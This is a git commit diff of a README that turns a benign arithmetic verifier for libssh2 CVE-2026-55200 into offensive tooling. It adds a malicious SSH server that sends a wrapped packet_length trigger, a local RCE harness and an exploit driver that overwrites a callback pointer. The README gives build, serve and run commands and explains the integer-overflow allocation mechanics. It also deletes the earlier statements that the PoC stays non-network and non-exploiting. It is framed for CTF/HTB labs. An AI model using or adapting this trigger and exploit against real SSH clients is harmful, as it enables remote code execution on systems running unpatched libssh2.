Add libssh2 CVE-2026-55200 trigger and local RCE scaffold

This commit is contained in:
ashton
2026-06-23 05:13:10 -05:00
parent a638a1cf5e
commit da8504bc4d
7 changed files with 1052 additions and 124 deletions

View File

@@ -1,14 +1,14 @@
# libssh2 CVE-2026-55200 benign PoC
# libssh2 CVE-2026-55200 PoC and local RCE scaffold
Benign local proof of concept for CVE-2026-55200, an unchecked SSH `packet_length` condition in libssh2's `ssh2_transport_read()` transport parser path.
This directory contains local research artifacts for CVE-2026-55200, an unchecked SSH `packet_length` condition in libssh2's `ssh2_transport_read()` transport parser path.
Research status: verified local arithmetic and state model.
Research status: arithmetic verifier, encrypted SSH trigger scaffold, and controlled local RCE harness verified.
## Summary
libssh2 through 1.11.1 accepted an attacker-controlled SSH packet length in one full-packet decryption path without first enforcing the RFC-sized libssh2 packet maximum.
The vulnerable shape is:
The vulnerable source shape is:
```text
total_num = 4
@@ -19,22 +19,24 @@ reject if total_num > 35000 or total_num == 0
allocate total_num bytes
```
On a build where `size_t` is 32-bit, a packet length of `0xffffffff` with `auth_len=16` wraps the computed allocation size to 19 bytes:
With `packet_length=0xffffffff`, `mac_len=0`, and `auth_len=16`, the vulnerable C expression can produce allocation size `19`:
```text
4 + 0xffffffff + 0 + 16 == 19 modulo 2^32
packet_length + mac_len + auth_len == 15 modulo 2^32
4 + 15 == 19
```
The original `packet_length` remains `0xffffffff`. Later full-packet processing can still use packet-length-derived sizes, including a `packet_length - 1` style length, after the allocation decision has already been made.
The upstream fix rejects `packet_length > LIBSSH2_PACKET_MAXPAYLOAD` before the addition.
This PoC does not generate SSH traffic, does not attempt remote exploitation, and does not perform an out-of-bounds write. It is a standalone verifier for the arithmetic and decision-state transition.
## Files
- `poc/cve_2026_55200_probe.c` - standalone C11 benign verifier with no source comments
- `evidence/2026-06-23-local-harness-output.txt` - local build and replay evidence
- `poc/cve_2026_55200_probe.c` - standalone C11 arithmetic verifier.
- `poc/libpwn_cve_2026_55200_server.py` - minimal malicious SSH server/trigger scaffold.
- `poc/libpwn_local_rce_harness.c` - controlled local vulnerable target modeling the wrapped allocation-to-control pattern.
- `poc/libpwn_local_rce_exploit.py` - local exploit driver that overwrites the harness callback and creates an RCE proof file.
- `evidence/2026-06-23-local-harness-output.txt` - earlier arithmetic verifier evidence.
## Affected Source Path
@@ -52,7 +54,7 @@ The fix is upstream commit:
The relevant fix adds a `packet_length > LIBSSH2_PACKET_MAXPAYLOAD` guard before the vulnerable addition in the full-packet path.
## Build and Run
## Arithmetic Verifier
Linux, macOS, WSL, or MinGW:
@@ -68,88 +70,115 @@ gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe.exe .\poc\cve_2026_552
.\cve_2026_55200_probe.exe
```
No arguments defaults to the benign proof mode. The same mode can be selected explicitly:
Useful modes:
```bash
./cve_2026_55200_probe --benign
```
Additional diagnostic modes:
```bash
./cve_2026_55200_probe --native
./cve_2026_55200_probe --check
```
The input values can be overridden:
```bash
./cve_2026_55200_probe --packet-length 0xffffffff --mac-len 0 --auth-len 16
```
## Expected Output
On a 64-bit build, the default benign run should report `result=PASS`:
Expected default proof condition:
```text
benign CVE-2026-55200 proof
build_size_t_bytes=8
build_size_t_bits=64
packet_length=0xffffffff (4294967295)
mac_len=0
auth_len=16
mathematical_total=4294967315
vulnerable32_decision=accepted
vulnerable32_total=19
vulnerable32_allocation=19
fullpacket_style_length=4294967294
allocation_gap=4294967275
fixed32_decision=rejected: out of boundary
native_unpatched_decision=rejected: out of boundary
native_unpatched_total=4294967315
native_note=64-bit native arithmetic rejects this default input; modeled 32-bit arithmetic remains vulnerable
native_unpatched_decision=accepted
native_note=source-shaped integer expression wraps before assignment into 64-bit size_t
result=PASS
```
The `--native` mode shows what the current binary's actual `size_t` arithmetic does. On a 64-bit build, native arithmetic rejects the default input because the computed total does not wrap before the existing `total_num > 35000` check:
## Malicious SSH Trigger Scaffold
```text
native-size_t check
build_size_t_bytes=8
build_size_t_bits=64
unpatched_decision=rejected: out of boundary
unpatched_total=4294967315
unpatched_allocation=0
fixed_decision=rejected: out of boundary
fixed_total=0
fixed_allocation=0
Local crypto and arithmetic self-test:
```bash
python poc/libpwn_cve_2026_55200_server.py --self-test
```
## Mechanics
Loopback test for the minimal SSH handshake, key derivation, server-to-client sequence number, and encrypted trigger:
The verifier computes three decisions for the same input:
- `vulnerable32`: the vulnerable arithmetic using a 32-bit `size_t` stand-in
- `fixed32`: the patched 32-bit decision with the packet-length maximum check
- `native_unpatched`: the unpatched decision using the current binary's real `size_t`
For the default input, the modeled 32-bit vulnerable path accepts the packet and derives a 19-byte allocation. The fixed model rejects before allocation. A native 64-bit build also rejects the default input, but that does not invalidate the 32-bit vulnerable state; it shows the architecture dependency explicitly.
The proof condition is:
```text
vulnerable32_decision == accepted
vulnerable32_allocation == 19
packet_length > 35000
fullpacket_style_length > vulnerable32_allocation
fixed32_decision == rejected
```bash
python poc/libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
```
## Why This Is Benign
Run as a one-shot malicious server for a challenge client:
The program does not connect to any host, bind any socket, generate any SSH packet, or copy past an allocation. It only models the arithmetic and branch decisions needed to distinguish the vulnerable and fixed behavior.
```bash
python poc/libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222
```
The `allocation_gap` value is a diagnostic showing how far a later packet-length-derived operation would exceed the modeled allocation if such an operation were performed.
Change `--listen-host` and `--listen-port` for your lab or HTB instance. The top of the script also leaves:
```python
HOST = ""
PORT = 0
```
intentionally open.
The server negotiates `curve25519-sha256`, RSA host key auth, and `chacha20-poly1305@openssh.com`, then sends a malformed encrypted server-to-client packet whose decrypted SSH `packet_length` is `0xffffffff`.
## Controlled Local RCE Harness
Build the local vulnerable target:
```bash
gcc -O0 -g -Wall -Wextra -o poc/libpwn_local_rce_harness poc/libpwn_local_rce_harness.c
```
Windows PowerShell with MinGW:
```powershell
gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
```
Run the local exploit driver:
```bash
python poc/libpwn_local_rce_exploit.py --harness ./poc/libpwn_local_rce_harness --proof ./poc/libpwn_rce_proof.txt
cat poc/libpwn_rce_proof.txt
```
Windows PowerShell:
```powershell
python poc\libpwn_local_rce_exploit.py
Get-Content poc\libpwn_rce_proof.txt
```
Expected proof:
```text
RCE_PROOF=PASS
libpwn-rce-verified
```
The harness proves local command execution by overflowing from the modeled 19-byte allocation state into a callback pointer and creating `libpwn_rce_proof.txt`.
## 64-bit Note
A 64-bit Linux target is still plausible for this trigger. In the unpatched libssh2 source, the vulnerable branch computes `packet_length + mac_len + auth_len` from 32-bit/integer operands before adding that result into `size_t`, so `0xffffffff + 0 + 16` wraps to `15` and then `4 + 15` becomes allocation size `19`.
## Verification Status
Verified locally:
```powershell
python poc\libpwn_cve_2026_55200_server.py --self-test
python poc\libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
python poc\libpwn_local_rce_exploit.py
python -m py_compile poc\libpwn_cve_2026_55200_server.py poc\libpwn_local_rce_exploit.py
```
## Limits
`libpwn_cve_2026_55200_server.py` is a locally verified CVE trigger/scaffold. Turning it into a reliable challenge-specific flag-read/RCE chain still depends on the target binary, allocator behavior, mitigations, and how the challenge invokes libssh2.
`libpwn_local_rce_harness.c` is a controlled proof target, not a universal exploit for every libssh2 deployment. It demonstrates the exploit pattern that a CTF/HTB service still needs to match or be adapted to.
## References
@@ -161,4 +190,4 @@ The `allocation_gap` value is a diagnostic showing how far a later packet-length
## Responsible Use
Run this PoC only as a local research and regression-verification harness. It is intentionally scoped to a non-network arithmetic model.
Run these PoCs only against local research targets, owned systems, or explicitly authorized lab/CTF/HTB instances.